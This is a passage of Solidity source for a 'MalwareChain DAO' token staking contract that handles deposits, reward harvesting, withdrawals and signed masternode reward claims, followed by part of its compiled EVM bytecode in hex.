return _tokenLPUSDT.totalSupply() > 0 ? getReserve(_tokenLPUSDT) / _tokenLPUSDT.totalSupply() : 0; // both MALWDAO and UNI-V2 have 18 decimals
}
function getRewardDistribution(uint256 blk) public view returns (uint256 malw, uint256 lp) {
if (blk > 787500) { // 157500000 MALWDAO limit
return (0, 0);
}
lp = (getBlockTotalDepositsLPETH(blk) + getBlockTotalDepositsLPUSDT(blk)) <= 0 ? 0 : getLPPart(blk);
malw = getBlockTotalDepositsMALW(blk) <= 0 ? 0 : 1000000 - lp - BLOCK_FEE_PERCENT;
}
function recordHistory() public returns (bool) {
if (recordHistoryNeeded()) {
_recordHistory();
return true;
}
return false;
}
function _recordHistory() internal {
// miningFinished check is in recordHistoryNeeded();
uint256 currentBlk = currentBlock();
if (currentBlk > 787500) {
currentBlk = 787500;
miningFinished = true;
}
uint256 lpETHPrice = getCurrentLPETHPrice();
uint256 lpUSDTPrice = getCurrentLPUSDTPrice();
history[arrayPointer].totalDepositsMALW = totalDepositsMALW;
history[arrayPointer].totalDepositsLPETH = totalDepositsLPETH;
history[arrayPointer].totalDepositsLPUSDT = totalDepositsLPUSDT;
history[arrayPointer].lpETHPrice = lpETHPrice;
history[arrayPointer].lpUSDTPrice = lpUSDTPrice;
history[arrayPointer].blockLength = currentBlk - lastRecordedBlock;
history[arrayPointer].blockReward = BLOCK_REWARD;
history[arrayPointer].lpPart = LP_PART;
masternodeRewardsBalance += BLOCK_REWARD / 20 * (currentBlk - lastRecordedBlock); // 5%
feesBalance += BLOCK_REWARD / 20 * (currentBlk - lastRecordedBlock); // 5%
arrayPointer++;
lastRecordedBlock = currentBlk;
}
function getReserve(IERC20 token) internal view returns (uint256) {
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = token.getReserves();
return token.token0() == address(this) ? uint256(reserve0) : uint256(reserve1);
}
function getBlockLength(uint256 blk) internal view returns (uint256) {
if (blk >= arrayPointer) {
return currentBlock() - lastRecordedBlock;
}
return history[blk].blockLength;
}
function getBlockReward(uint256 blk) internal view returns (uint256) {
if (blk >= arrayPointer) {
return BLOCK_REWARD;
}
return history[blk].blockReward;
}
function getLPPart(uint256 blk) internal view returns (uint256) {
if (blk >= arrayPointer) {
return LP_PART;
}
return history[blk].lpPart;
}
function getRewardSum(address sender) public view returns (uint256) {
if (!investors[sender].initialized || !canHarvest(sender))
return 0;
uint256 reward = 0;
for (uint256 i = investors[sender].lastZeroPtr; i <= arrayPointer; i++) {
(uint256 malwPercent, uint256 lpPercent) = getRewardDistribution(i);
uint256 lpETHPrice = getBlockLPETHPrice(i);
uint256 lpUSDTPrice = getBlockLPUSDTPrice(i);
uint256 totalNormalizedLP = lpETHPrice * getBlockTotalDepositsLPETH(i) + lpUSDTPrice * getBlockTotalDepositsLPUSDT(i);
uint256 userNormalizedLP = lpETHPrice * investors[sender].depositLPETH + lpUSDTPrice * investors[sender].depositLPUSDT;
if (investors[sender].depositMALW > 0)
reward += getBlockReward(i) * getBlockLength(i) * investors[sender].depositMALW / getBlockTotalDepositsMALW(i) * malwPercent / 1000000;
if (userNormalizedLP > 0)
reward += getBlockReward(i) * getBlockLength(i) * userNormalizedLP / totalNormalizedLP * lpPercent / 1000000;
}
return reward;
}
function deposit(uint256 valueMALW, uint256 valueLPETH, uint256 valueLPUSDT) public {
require(valueMALW + valueLPETH + valueLPUSDT > 0 &&
valueMALW >= 0 &&
valueLPETH >= 0 &&
valueLPUSDT >= 0, "Invalid arguments");
if (canHarvest(msg.sender))
harvestReward(); // history is recorded while harvesting
else
recordHistory();
if (valueMALW > 0) {
require(_tokenMALW.allowance(msg.sender, address(this)) >= valueMALW, "Insufficient MALW allowance");
investors[msg.sender].depositMALW += valueMALW;
totalDepositsMALW += valueMALW;
_tokenMALW.transferFrom(msg.sender, address(this), valueMALW);
}
if (valueLPETH > 0) {
require(_tokenLPETH.allowance(msg.sender, address(this)) >= valueLPETH, "Insufficient LPETH allowance");
investors[msg.sender].depositLPETH += valueLPETH;
totalDepositsLPETH += valueLPETH;
_tokenLPETH.transferFrom(msg.sender, address(this), valueLPETH);
}
if (valueLPUSDT > 0) {
require(_tokenLPUSDT.allowance(msg.sender, address(this)) >= valueLPUSDT, "Insufficient LPUSDT allowance");
investors[msg.sender].depositLPUSDT += valueLPUSDT;
totalDepositsLPUSDT += valueLPUSDT;
_tokenLPUSDT.transferFrom(msg.sender, address(this), valueLPUSDT);
}
investors[msg.sender].initialized = true;
investors[msg.sender].lastZeroPtr = arrayPointer;
emit Deposit(msg.sender, valueMALW, valueLPETH, valueLPUSDT);
}
function canHarvest(address sender) public view returns (bool) {
return investors[sender].depositMALW + investors[sender].depositLPETH + investors[sender].depositLPUSDT > 0;
}
function harvestReward() public returns (uint256) {
require(canHarvest(msg.sender));
recordHistory();
uint256 reward = getRewardSum(msg.sender);
if (reward > 0)
mint(msg.sender, reward);
investors[msg.sender].lastZeroPtr = arrayPointer;
emit Harvest(msg.sender, reward);
return reward;
}
function harvestRewardAndWithdraw() public returns (uint256, uint256, uint256, uint256) {
uint256 reward = harvestReward();
uint256 depositMALW = investors[msg.sender].depositMALW;
uint256 depositLPETH = investors[msg.sender].depositLPETH;
uint256 depositLPUSDT = investors[msg.sender].depositLPUSDT;
if (depositMALW > 0) {
totalDepositsMALW -= depositMALW;
investors[msg.sender].depositMALW = 0;
_tokenMALW.transfer(msg.sender, depositMALW);
}
if (depositLPETH > 0) {
totalDepositsLPETH -= depositLPETH;
investors[msg.sender].depositLPETH = 0;
_tokenLPETH.transfer(msg.sender, depositLPETH);
}
if (depositLPUSDT > 0) {
totalDepositsLPUSDT -= depositLPUSDT;
investors[msg.sender].depositLPUSDT = 0;
_tokenLPUSDT.transfer(msg.sender, depositLPUSDT);
}
emit Withdraw(msg.sender, depositMALW, depositLPETH, depositLPUSDT);
return (reward, depositMALW, depositLPETH, depositLPUSDT);
}
function splitSignature(bytes memory sig) internal pure returns (uint8, bytes32, bytes32) {
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) {
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function claimMasternodeReward(uint256 amount, uint256 nonce, bytes memory sig) public {
require(masternodeRewardsClaimedNonces[nonce] == 0, "This signature is already used");
recordHistory();
require(amount <= masternodeRewardsBalance, "Insufficient reward funds");
bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, amount, nonce, address(this))));
require(recoverSigner(message, sig) == owner_);
masternodeRewardsClaimedNonces[nonce] = amount;
_balanceOf[msg.sender] += amount;
masternodeRewardsBalance -= amount;
emit MasternodeReward(msg.sender, amount, nonce);
}
function sendFeeFunds(address to, uint256 amount) public onlyOwner {
require(feesBalance >= amount, "Insufficient funds");
_balanceOf[to] += amount;
feesBalance -= amount;
emit FeesSpent(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106103765760003560e01c80637f05b9ef116101d3578063bb3f730511610104578063e12ed13c116100a2578063f1294b321161007c578063f1294b32146110bb578063f18294d4146110ef578063f2fde38b14611133578063fb70261a1461117757610376565b8063e12ed13c14611027578063e766307914611045578063ea712d871461107957610376565b8063d9b195d9116100de578063d9b195d914610f1b578063da443c1814610f73578063dbde69cd14610f91578063dd62ed3e14610faf57610376565b8063bb3f730514610e2c578063cca3e83214610e7a578063d22da17d14610ed257610376565b80639b211f5011610171578063a7a38f0b1161014b578063a7a38f0b14610cf5578063a9059cbb14610d68578063aae88b8b14610dcc578063ae29be1314610dea57610376565b80639b211f5014610c77578063a3ec191a14610c95578063a70949f814610cb357610376565b806386e59eed116101ad57806386e59eed14610b405780638d76a80e14610b6e57806395235ced14610bb257806395d89b4114610bf457610376565b80637f05b9ef14610ac05780637fe2200314610ade5780638135fafb14610afc57610376565b80633f7ef211116102ad578063668126971161024b57806370a082311161022557806370a08231146109f857806373a64bc214610a505780637518c96514610a8457806379635d0514610aa257610376565b806366812697146109465780636710e8e3146109645780636f7bc9be1461098257610376565b806349dc2b831161028757806349dc2b83146108b55780635347215a146108d557806356810d5b146109085780635a34928e1461092857610376565b80633f7ef21114610765578063416f50901461083d57806342966c681461087157610376565b806310177a671161031a5780631a18e707116102f45780631a18e7071461067457806323b872dd146106a2578063313ce567146107265780633b6f6d851461074757610376565b806310177a67146105665780631584eec61461058757806318160ddd1461065657610376565b80630644f448116103565780630644f4481461041d57806306fdde031461045f57806308bbe7c0146104e2578063095ea7b31461050257610376565b806230429a1461037b578062aeef8a146103995780630204e6a5146103db575b600080fd5b6103836111d1565b6040518082815260200191505060405180910390f35b6103d9600480360360608110156103af57600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506111d8565b005b610407600480360360208110156103f157600080fd5b8101908080359060200190929190505050611bc8565b6040518082815260200191505060405180910390f35b6104496004803603602081101561043357600080fd5b8101908080359060200190929190505050611c03565b6040518082815260200191505060405180910390f35b610467611c39565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ea611c72565b60405180821515815260200191505060405180910390f35b61054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ca0565b60405180821515815260200191505060405180910390f35b61056e611d92565b604051808260ff16815260200191505060405180910390f35b6106546004803603606081101561059d57600080fd5b810190808035906020019092919080359060200190929190803590602001906401000000008111156105ce57600080fd5b8201836020820111156105e057600080fd5b8035906020019184600183028401116401000000008311171561060257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611d97565b005b61065e612059565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561068a57600080fd5b810190808035906020019092919050505061205f565b005b61070e600480360360608110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612100565b60405180821515815260200191505060405180910390f35b61072e612368565b604051808260ff16815260200191505060405180910390f35b61074f61236d565b6040518082815260200191505060405180910390f35b6108256004803603604081101561077b57600080fd5b810190808035906020019064010000000081111561079857600080fd5b8201836020820111156107aa57600080fd5b803590602001918460208302840111640100000000831117156107cc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050612373565b60405180821515815260200191505060405180910390f35b610845612514565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61089d6004803603602081101561088757600080fd5b810190808035906020019092919050505061253c565b60405180821515815260200191505060405180910390f35b6108bd6125ee565b60405180821515815260200191505060405180910390f35b6108dd612603565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b610910612b03565b60405180821515815260200191505060405180910390f35b610930612b2b565b6040518082815260200191505060405180910390f35b61094e612c0b565b6040518082815260200191505060405180910390f35b61096c612c11565b6040518082815260200191505060405180910390f35b6109c46004803603602081101561099857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e08565b6040518086815260200185815260200184815260200183815260200182151581526020019550505050505060405180910390f35b610a3a60048036036020811015610a0e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e4d565b6040518082815260200191505060405180910390f35b610a58612e95565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a8c612ebd565b6040518082815260200191505060405180910390f35b610aaa612ec5565b6040518082815260200191505060405180910390f35b610ac8612ecb565b6040518082815260200191505060405180910390f35b610ae6612ed1565b6040518082815260200191505060405180910390f35b610b3e60048036036020811015610b1257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130c8565b005b610b6c60048036036020811015610b5657600080fd5b81019080803590602001909291905050506131d4565b005b610bb060048036036020811015610b8457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132ed565b005b610bde60048036036020811015610bc857600080fd5b81019080803590602001909291905050506133f9565b6040518082815260200191505060405180910390f35b610bfc61342f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c3c578082015181840152602081019050610c21565b50505050905090810190601f168015610c695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610c7f613468565b6040518082815260200191505060405180910390f35b610c9d613470565b6040518082815260200191505060405180910390f35b610cdf60048036036020811015610cc957600080fd5b8101908080359060200190929190505050613476565b6040518082815260200191505060405180910390f35b610d2160048036036020811015610d0b57600080fd5b81019080803590602001909291905050506134b1565b604051808981526020018881526020018781526020018681526020018581526020018481526020018381526020018281526020019850505050505050505060405180910390f35b610db460048036036040811015610d7e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506134fe565b60405180821515815260200191505060405180910390f35b610dd4613652565b6040518082815260200191505060405180910390f35b610e1660048036036020811015610e0057600080fd5b8101908080359060200190929190505050613658565b6040518082815260200191505060405180910390f35b610e7860048036036040811015610e4257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613672565b005b610ebc60048036036020811015610e9057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506137f3565b6040518082815260200191505060405180910390f35b610efe60048036036020811015610ee857600080fd5b810190808035906020019092919050505061380b565b604051808381526020018281526020019250505060405180910390f35b610f5d60048036036020811015610f3157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061387f565b6040518082815260200191505060405180910390f35b610f7b613b43565b6040518082815260200191505060405180910390f35b610f99613b4b565b6040518082815260200191505060405180910390f35b61101160048036036040811015610fc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b51565b6040518082815260200191505060405180910390f35b61102f613bd8565b6040518082815260200191505060405180910390f35b61104d613bf1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6110a56004803603602081101561108f57600080fd5b8101908080359060200190929190505050613c17565b6040518082815260200191505060405180910390f35b6110c3613c4d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6111316004803603602081101561110557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613c75565b005b6111756004803603602081101561114957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613d81565b005b6111b96004803603602081101561118d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613e51565b60405180821515815260200191505060405180910390f35b620186a081565b600081838501011180156111ed575060008310155b80156111fa575060008210155b8015611207575060008110155b611279576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f496e76616c696420617267756d656e747300000000000000000000000000000081525060200191505060405180910390fd5b61128233613e51565b156112955761128f612b2b565b5061129f565b61129d612b03565b505b60008311156115535782627a121160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561135257600080fd5b505afa158015611366573d6000803e3d6000fd5b505050506040513d602081101561137c57600080fd5b81019080805190602001909291905050501015611401576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e73756666696369656e74204d414c5720616c6c6f77616e6365000000000081525060200191505060405180910390fd5b82627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254019250508190555082600860008282540192505081905550627a121160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561151657600080fd5b505af115801561152a573d6000803e3d6000fd5b505050506040513d602081101561154057600080fd5b8101908080519060200190929190505050505b60008211156118075781627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d602081101561163057600080fd5b810190808051906020019092919050505010156116b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e74204c5045544820616c6c6f77616e63650000000081525060200191505060405180910390fd5b81627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254019250508190555081600960008282540192505081905550627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156117ca57600080fd5b505af11580156117de573d6000803e3d6000fd5b505050506040513d60208110156117f457600080fd5b8101908080519060200190929190505050505b6000811115611abb5780627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156118ba57600080fd5b505afa1580156118ce573d6000803e3d6000fd5b505050506040513d60208110156118e457600080fd5b81019080805190602001909291905050501015611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f496e73756666696369656e74204c505553445420616c6c6f77616e636500000081525060200191505060405180910390fd5b80627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254019250508190555080600a60008282540192505081905550627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611a7e57600080fd5b505af1158015611a92573d6000803e3d6000fd5b505050506040513d6020811015611aa857600080fd5b8101908080519060200190929190505050505b6001627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff021916908315150217905550627a120b54627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055503373ffffffffffffffffffffffffffffffffffffffff167f36af321ec8d3c75236829c5317affd40ddb308863a1236d2d277a4025cccee1e84848460405180848152602001838152602001828152602001935050505060405180910390a2505050565b6000627a120b548210611be457611bdd612ed1565b9050611bfe565b600b82620f42408110611bf357fe5b600802016003015490505b919050565b6000627a120b548210611c1a57600a549050611c34565b600b82620f42408110611c2957fe5b600802016002015490505b919050565b6040518060400160405280601081526020017f4d616c77617265436861696e2044414f0000000000000000000000000000000081525081565b6000627a120d60009054906101000a900460ff16158015611c9b5750611c96613bd8565b600754105b905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600a81565b6000627a121060008481526020019081526020016000205414611e22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f54686973207369676e617475726520697320616c72656164792075736564000081525060200191505060405180910390fd5b611e2a612b03565b50627a120e54831115611ea5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e73756666696369656e74207265776172642066756e64730000000000000081525060200191505060405180910390fd5b6000611f2033858530604051602001808573ffffffffffffffffffffffffffffffffffffffff1660601b81526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140194505050505060405160208183030381529060405280519060200120613f2d565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f658284613f85565b73ffffffffffffffffffffffffffffffffffffffff1614611f8557600080fd5b83627a1210600085815260200190815260200160002081905550836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555083627a120e600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fe082cd059180903e8528fd62073850c1db9f82aae4156971bccae2ac416819c08585604051808381526020018281526020019250505060405180910390a250505050565b60015481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156120fd576120bd612b03565b50806004819055507fba54ce5940e90276397dfc944292ed6a6a43aa64f9deb96d5f471bef49b78e14816040518082815260200191505060405180910390a15b50565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561214d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156121d657600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b60085481565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156123c057600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508251828161241657fe5b04915060005b8351811015612509578260008086848151811061243557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555083818151811061249057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3808060010191505061241c565b506001905092915050565b627a121160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561258957600080fd5b81600160008282540392505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060019050919050565b627a120d60009054906101000a900460ff1681565b6000806000806000612613612b2b565b90506000627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015490506000627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490506000627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050600083111561282557826008600082825403925050819055506000627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550627a121160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156127e857600080fd5b505af11580156127fc573d6000803e3d6000fd5b505050506040513d602081101561281257600080fd5b8101908080519060200190929190505050505b600082111561295a57816009600082825403925050819055506000627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561291d57600080fd5b505af1158015612931573d6000803e3d6000fd5b505050506040513d602081101561294757600080fd5b8101908080519060200190929190505050505b6000811115612a8f5780600a600082825403925050819055506000627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612a5257600080fd5b505af1158015612a66573d6000803e3d6000fd5b505050506040513d6020811015612a7c57600080fd5b8101908080519060200190929190505050505b3373ffffffffffffffffffffffffffffffffffffffff167f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca9484848460405180848152602001838152602001828152602001935050505060405180910390a28383838397509750975097505050505090919293565b6000612b0d611c72565b15612b2357612b1a61400f565b60019050612b28565b600090505b90565b6000612b3633613e51565b612b3f57600080fd5b612b47612b03565b506000612b533361387f565b90506000811115612b6957612b6833826141d0565b5b627a120b54627a120c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055503373ffffffffffffffffffffffffffffffffffffffff167fc9695243a805adb74c91f28311176c65b417e842d5699893cef56d18bfa48cba826040518082815260200191505060405180910390a28091505090565b60075481565b60008073ffffffffffffffffffffffffffffffffffffffff16627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c745760009050612e05565b6000627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612ce057600080fd5b505afa158015612cf4573d6000803e3d6000fd5b505050506040513d6020811015612d0a57600080fd5b810190808051906020019092919050505011612d27576000612e02565b627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d9157600080fd5b505afa158015612da5573d6000803e3d6000fd5b505050506040513d6020811015612dbb57600080fd5b8101908080519060200190929190505050612df9627a121360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614296565b81612e0057fe5b045b90505b90565b627a120c6020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900460ff16905085565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b627a120f5481565b60095481565b60045481565b60008073ffffffffffffffffffffffffffffffffffffffff16627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612f3457600090506130c5565b6000627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612fa057600080fd5b505afa158015612fb4573d6000803e3d6000fd5b505050506040513d6020811015612fca57600080fd5b810190808051906020019092919050505011612fe75760006130c2565b627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561305157600080fd5b505afa158015613065573d6000803e3d6000fd5b505050506040513d602081101561307b57600080fd5b81019080805190602001909291905050506130b9627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614296565b816130c057fe5b045b90505b90565b600073ffffffffffffffffffffffffffffffffffffffff16627a121260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461318e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416464726573732077617320616c72656164792073657400000000000000000081525060200191505060405180910390fd5b80627a121260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f